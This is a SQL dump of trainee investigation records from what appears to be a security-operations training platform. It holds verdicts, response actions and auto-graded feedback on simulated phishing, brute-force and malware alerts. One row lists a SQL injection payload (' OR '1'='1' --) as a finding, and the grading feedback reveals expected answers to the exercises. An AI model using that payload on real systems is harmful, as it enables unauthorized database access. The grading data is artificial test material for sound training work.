(160, 74, 992, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-01-17T08:49:00.518Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/3). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-17 08:47:53', '2026-01-31 21:00:01', 0, NULL),
(161, 74, 993, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-17 08:49:00', '2026-01-17 08:49:00', 0, NULL),
(162, 52, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-19 08:45:34', '2026-01-19 08:45:34', 0, NULL),
(163, 52, 707, 'investigating', NULL, NULL, NULL, '{\"verdict_correctness\":\"Incorrect\",\"key_findings\":\"Incorrect verdict. Expected true_positive, got benign. Missed critical artifacts (0/1). Missed response actions (2/3)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-19 08:46:26', '2026-01-19 08:57:52', 0, NULL),
(164, 91, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-20 10:38:53', '2026-01-20 10:38:53', 0, NULL),
(165, 93, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_hash\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"An email from abc123@example.com which is detected for unusual activity sent to employee@corporate.com which had an malware attachment named urgent_document and the subject was urgent warning , when an email is sent as urgently it has higher chances to be phishing \\nemail was sent from external IP - 203.0.113.45 which is known for phishing campaigns.\",\"submitted_at\":\"2026-01-20T21:20:08.170Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Missed response actions (3/4)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-20 20:57:32', '2026-01-31 21:00:01', 0, NULL),
(166, 93, 728, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"A malicious IP from outside tried to bruteforce the internal network server. Malicious IP was reported 174 times for bruteforce earlier.\",\"submitted_at\":\"2026-01-20T21:01:30.744Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/1). Missed response actions (2/3)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-20 20:57:43', '2026-01-31 21:00:01', 0, NULL),
(167, 93, 283, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"An external IP 203.0.113.45 tried to access an internal IP 192.168.1.10 and it was too much failure attemps , so they didnt success to connect and find the password.\",\"submitted_at\":\"2026-01-20T21:08:02.426Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-20 21:02:24', '2026-01-31 21:00:01', 0, NULL),
(168, 93, 948, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"An external IP - 203.0.113.45 whish is reported 847 times as malicious did bruteforce to the internal user of the organization jdoe with ip - 192.168.1.10 / workstation01- and had 35 failed attempts.\",\"submitted_at\":\"2026-01-20T21:13:10.766Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/1). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-20 21:08:22', '2026-01-31 21:00:01', 0, NULL),
(169, 93, 269, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-20 21:20:08', '2026-01-20 21:20:08', 0, NULL),
(170, 94, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-21 01:57:29', '2026-01-21 01:57:29', 0, NULL),
(171, 95, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"artefatos maliciosos detectados\",\"submitted_at\":\"2026-01-21T18:59:04.089Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Missed response actions (3/4)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-21 17:18:27', '2026-01-31 21:00:01', 0, NULL),
(172, 95, 761, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"test de analise.\",\"submitted_at\":\"2026-01-21T18:41:12.896Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-21 18:36:11', '2026-01-31 21:00:01', 0, NULL),
(173, 95, 625, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"test\",\"submitted_at\":\"2026-01-21T18:44:05.291Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/1). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-21 18:42:03', '2026-01-31 21:00:01', 0, NULL),
(174, 95, 227, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_2\",\"artifact_3\",\"artifact_5\",\"artifact_6\"],\"selectedActions\":[\"escalate\",\"collect_forensics\",\"reset_credentials\",\"block_hash\",\"block_ip\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"test\",\"submitted_at\":\"2026-01-21T18:53:10.865Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-21 18:44:37', '2026-01-31 21:00:01', 0, NULL),
(175, 95, 269, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-21 18:59:04', '2026-01-21 18:59:04', 0, NULL),
(179, 34, 607, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-01-22T03:11:59.323Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-01-22 03:11:21', '2026-01-31 21:00:01', 0, NULL),
(182, 96, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-22 04:14:25', '2026-01-22 04:14:25', 0, NULL),
(183, 96, 621, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-01-22T04:16:29.689Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-01-22 04:14:42', '2026-01-31 21:00:01', 0, NULL),
(184, 96, 226, 'investigating', NULL, NULL, NULL, NULL, '2026-01-22 09:46:47', '2026-01-22 06:36:47', '2026-01-22 06:36:47', 0, NULL),
(187, 56, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-23 06:03:09', '2026-01-23 06:03:09', 0, NULL),
(188, 42, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-23 08:19:36', '2026-01-23 08:19:36', 0, NULL),
(190, 97, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-25 05:05:04', '2026-01-25 05:05:04', 0, NULL),
(191, 98, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-25 08:18:38', '2026-01-25 08:18:38', 0, NULL),
(192, 98, 282, 'investigating', NULL, NULL, NULL, NULL, '2026-01-25 11:45:46', '2026-01-25 08:37:46', '2026-01-25 08:37:46', 0, NULL),
(193, 99, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-25 15:14:16', '2026-01-25 15:14:16', 0, NULL),
(195, 74, 1086, 'investigating', NULL, NULL, NULL, NULL, '2026-01-25 19:28:41', '2026-01-25 16:19:41', '2026-01-25 16:19:41', 0, NULL),
(196, 102, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-25 21:55:00', '2026-01-25 21:55:00', 0, NULL),
(197, 107, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-27 19:45:55', '2026-01-27 19:45:55', 0, NULL),
(198, 108, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-27 19:55:53', '2026-01-27 19:55:53', 0, NULL),
(199, 109, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-27 21:08:02', '2026-01-27 21:08:02', 0, NULL),
(200, 107, 233, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"Confirmed phishing incident involving a spoofed banking domain and malicious credential-harvesting URL. \\nIOCs (IP, URL, sender domain) were enriched via OSINT and validated as malicious. \\nActivity mapped to MITRE ATT&CK T1566. \\nContainment actions included blocking the IP/domain and forcing credential reset for the affected user.\\nVerdict: True Positive.\\n\",\"submitted_at\":\"2026-01-28T15:04:50.937Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[\"block_url\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-01-28 14:35:51', '2026-01-31 21:00:01', 0, NULL),
(201, 107, 224, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_2\",\"artifact_4\",\"artifact_5\",\"artifact_6\",\"artifact_7\",\"artifact_8\",\"artifact_3\",\"artifact_1\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"Encoded PowerShell activity and a known malicious IP were identified, confirming an active C2 communication attempt. OSINT and hash analysis verified malware presence. Affected host and account were contained to prevent further compromise.\\n\\nVerdict: True Positive.\",\"submitted_at\":\"2026-01-28T16:29:47.262Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-01-28 15:35:44', '2026-01-31 21:00:01', 0, NULL),
(202, 115, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-31 12:38:02', '2026-01-31 12:38:02', 0, NULL),
(203, 116, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-01 09:07:07', '2026-02-01 09:07:07', 0, NULL),
(204, 116, 1104, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_hash\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-02-01T09:11:43.826Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/5)\",\"missed_items\":[\"isolate_host\",\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-01 09:09:51', '2026-02-28 21:00:00', 0, NULL),
(205, 116, 1105, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-01 09:11:43', '2026-02-01 09:11:43', 0, NULL),
(206, 123, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-02 10:07:03', '2026-02-02 10:07:03', 0, NULL),
(207, 124, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-02 10:09:53', '2026-02-02 10:09:53', 0, NULL),
(208, 125, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-04 01:34:01', '2026-02-04 01:34:01', 0, NULL),
(209, 126, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-04 22:06:35', '2026-02-04 22:06:35', 0, NULL),
(210, 74, 1141, 'investigating', NULL, NULL, NULL, NULL, '2026-02-05 11:34:26', '2026-02-05 08:26:26', '2026-02-05 08:26:26', 0, NULL),
(211, 65, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-05 16:49:25', '2026-02-05 16:49:25', 0, NULL),
(212, 65, 636, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-02-05T17:01:34.233Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-05 16:52:31', '2026-02-28 21:00:00', 0, NULL),
(213, 127, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-05 17:48:46', '2026-02-05 17:48:46', 0, NULL),
(215, 128, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-07 01:17:23', '2026-02-07 01:17:23', 0, NULL),
(216, 129, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-07 21:51:46', '2026-02-07 21:51:46', 0, NULL),
(217, 129, 949, 'investigating', NULL, NULL, NULL, NULL, '2026-02-08 01:02:48', '2026-02-07 21:52:48', '2026-02-07 21:52:48', 0, NULL),
(218, 131, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-08 08:16:29', '2026-02-08 08:16:29', 0, NULL),
(219, 133, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-08 16:07:44', '2026-02-08 16:07:44', 0, NULL),
(220, 135, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-08 17:42:27', '2026-02-08 17:42:27', 0, NULL),
(221, 136, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-09 22:07:29', '2026-02-09 22:07:29', 0, NULL),
(222, 136, 1225, 'investigating', NULL, NULL, NULL, NULL, '2026-02-10 01:20:43', '2026-02-09 22:12:43', '2026-02-09 22:12:43', 0, NULL),
(223, 137, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-10 12:44:50', '2026-02-10 12:44:50', 0, NULL),
(225, 138, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-203.0.113.45\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-02-11T17:09:07.813Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"block_hash\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-11 17:02:53', '2026-02-28 21:00:00', 0, NULL),
(226, 140, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"Subject identified as True Positive. Suspicious email contained malware detected by OSINT scan. Hash was identified to be malicious. Senders IP address is known to be associated with phishing organization. IP address was blocked on Firewall. Hash was also blocked on all host machines.\",\"submitted_at\":\"2026-02-11T17:16:22.373Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-11 17:05:54', '2026-02-28 21:00:00', 0, NULL),
(227, 138, 269, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-11 17:09:07', '2026-02-11 17:09:07', 0, NULL),
(228, 140, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.50\",\"ip-192.168.1.45\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"Subject is True Positive. The file hash is identified as Malicious. Senders IP address has been identified and is associated with malicious behavior and common phishing campaigns. Host has been quarantined. Senders IP address has been blacklisted in firewall. File hash has been blocked on all hosts. Escalated issue.\",\"submitted_at\":\"2026-02-11T17:33:57.651Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-11 17:16:22', '2026-02-28 21:00:00', 0, NULL),
(229, 140, 270, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-11 17:33:57', '2026-02-11 17:33:57', 0, NULL),
(230, 141, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-12 03:16:23', '2026-02-12 03:16:23', 0, NULL),
(231, 141, 729, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.0.20\",\"hash-e99a18c4\",\"cmd-1\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"Based on the artifacts provided, this is assessed as a True Positive malware infection on internal host 10.0.0.20. The file path, executable type, and hash artifact collectively indicate malicious activity requiring containment and further forensic investigation.\\n\\nImmediate response and broader IOC hunting are advised.\",\"submitted_at\":\"2026-02-12T04:13:30.182Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts: command C:\\\\malicious_folder\\\\malware.exe (1/2). Missed response actions (3/4)\",\"missed_items\":[\"command: C:\\\\malicious_folder\\\\malware.exe\",\"close_alert\"],\"strengths\":\"Needs improvement\"}', NULL, '2026-02-12 04:07:49', '2026-02-28 21:00:00', 0, NULL),
(232, 141, 253, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-203.0.113.45\",\"hash-abc123de\",\"domain-malicious-ex\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"On 2023-10-01 at 14:23:45 UTC, the Security Operations Center detected a process execution event on internal workstation DESKTOP-1A2B3C (192.168.1.101) associated with user account jdoe. The executed process (hash: abc123def456ghi789jkl012mno345pq) initiated outbound communication to external IP 203.0.113.45 and resolved domain malicious-example.com.\\nGiven the active outbound connection, the incident is assessed as a High-Severity True Positive. The affected endpoint was isolated to prevent lateral movement, and the associated IP, domain, and file hash were blocked at perimeter and endpoint controls. User credentials for jdoe are under review pending validation of potential compromise.\",\"submitted_at\":\"2026-02-12T04:18:58.336Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-12 04:14:28', '2026-02-28 21:00:00', 0, NULL),
(233, 141, 957, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.77\",\"ip-10.0.0.5\",\"artifact_2\"],\"selectedActions\":[\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"On 2026-01-16 at 17:55:00 UTC, the SOC detected a network connection attempt originating from external IP 203.0.113.77 targeting internal asset secure-server (10.0.0.5) using the privileged account “admin.” Likely True Positive unauthorized access attempt and classified as Medium–High severity pending further log correlation. All attempts failed. Preventative measures, including verification of firewall rules, potential IP blocking, and validation of privileged account protections (e.g., MFA enforcement), are recommended to mitigate ongoing risk\",\"submitted_at\":\"2026-02-12T04:25:05.765Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)\",\"missed_items\":[\"reset_credentials\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-12 04:19:44', '2026-02-28 21:00:00', 0, NULL),
(234, 137, 239, 'investigating', NULL, NULL, NULL, NULL, '2026-02-13 02:53:11', '2026-02-12 23:43:11', '2026-02-12 23:43:11', 0, NULL),
(235, 137, 687, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.26.102\",\"ip-192.168.1.10\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-02-13T00:04:15.388Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-12 23:59:29', '2026-02-28 21:00:00', 0, NULL),
(236, 137, 229, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"hash-e99a18c4\",\"artifact_1\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"reset_credentials\",\"isolate_host\",\"escalate\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"Hash value detected as malware, and the user account has multiple failed login attempts. \",\"submitted_at\":\"2026-02-13T13:10:32.657Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Missed response actions (3/4)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-13 00:05:11', '2026-02-28 21:00:00', 0, NULL),
(237, 142, 268, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:16:16 PM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T05:16:28.583Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-14 06:28:27', '2026-03-07 05:16:28', 0, NULL),
(238, 142, 1234, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.45.12\",\"ip-203.0.113.89\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-02-14T06:32:08.123Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (4/5)\",\"missed_items\":[\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-14 06:29:28', '2026-02-28 21:00:00', 0, NULL),
(239, 145, 954, 'investigating', NULL, NULL, NULL, NULL, '2026-02-14 12:48:14', '2026-02-14 09:40:14', '2026-02-14 09:40:14', 0, NULL),
(240, 95, 252, 'investigating', NULL, NULL, NULL, NULL, '2026-02-14 18:05:55', '2026-02-14 14:55:55', '2026-02-14 14:55:55', 0, NULL),
(241, 153, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-15 01:39:11', '2026-02-15 01:39:11', 0, NULL);
INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(242, 99, 640, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.45\",\"ip-192.168.1.20\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 16/02/2026, 22:05:35\\nALERT: SQL Injection Attempt Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 198.51.100.45\\n- [IP] 192.168.1.20\\n- [PAYLOAD] \' OR \'1\'=\'1\' --\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-16T17:06:58.731Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-15 05:10:28', '2026-02-28 21:00:00', 0, NULL),
(243, 159, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-15 23:22:22', '2026-02-15 23:22:22', 0, NULL),
(244, 159, 953, 'investigating', NULL, NULL, NULL, '{\"verdict_correctness\":\"Incorrect\",\"key_findings\":\"Incorrect verdict. Expected false_positive, got true_positive. Artifact analysis completed (+30). Missed response actions (0/1)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Needs improvement\"}', NULL, '2026-02-15 23:26:27', '2026-02-15 23:30:42', 0, NULL),
(245, 60, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-16 06:05:50', '2026-02-16 06:05:50', 0, NULL),
(246, 165, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-16 17:39:33', '2026-02-16 17:39:33', 0, NULL),
